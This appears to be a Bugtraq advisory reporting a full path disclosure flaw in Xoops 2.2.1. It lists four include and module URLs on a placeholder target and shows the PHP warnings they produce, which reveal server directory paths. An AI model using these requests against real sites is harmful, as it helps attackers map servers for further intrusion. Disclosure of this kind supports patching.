Bugtraq: Xoops 2.2.1 Full Path Disclosure

[none () none com]

Xoops 2.2.1 Full Path Disclosure !!!

http://[target]/include/registerform.php
[code]
Warning: main(XOOPS_ROOT_PATH/class/xoopslists.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/registerform.php on line 28

Warning: main(): Failed opening 'XOOPS_ROOT_PATH/class/xoopslists.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/site/include/registerform.php on line 28

Warning: main(XOOPS_ROOT_PATH/class/xoopsformloader.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/registerform.php on line 29

Warning: main(): Failed opening 'XOOPS_ROOT_PATH/class/xoopsformloader.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/site/include/registerform.php on line 29

Fatal error: Cannot instantiate non-existent class: xoopsformelementtray in 
/home/public_html/site/include/registerform.php on line 32
[/code]

http://[target]/include/commentform.inc.php

[code]
Warning: main(XOOPS_ROOT_PATH/class/xoopslists.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/commentform.inc.php on line 28

Warning: main(): Failed opening 'XOOPS_ROOT_PATH/class/xoopslists.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/site/include/commentform.inc.php on line 28

Warning: main(XOOPS_ROOT_PATH/class/xoopsformloader.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/commentform.inc.php on line 29

Warning: main(XOOPS_ROOT_PATH/class/xoopsformloader.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/commentform.inc.php on line 29

Warning: main(): Failed opening 'XOOPS_ROOT_PATH/class/xoopsformloader.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/site/include/commentform.inc.php on line 29

Fatal error: Cannot instantiate non-existent class: xoopsthemeform in 
/home/public_html/site/include/commentform.inc.php on line 30
[/code]

http://[target]/include/searchform.php

[code]
Warning: main(XOOPS_ROOT_PATH/class/xoopsformloader.php): failed to open stream: No such file or directory in 
/home/public_html/site/include/searchform.php on line 27

Warning: main(): Failed opening 'XOOPS_ROOT_PATH/class/xoopsformloader.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/site/include/searchform.php on line 27

Fatal error: Cannot instantiate non-existent class: xoopsthemeform in /home/public_html/site/include/searchform.php on 
line 30
[/code]

And also:
http://[target]/modules/contact/contactform.php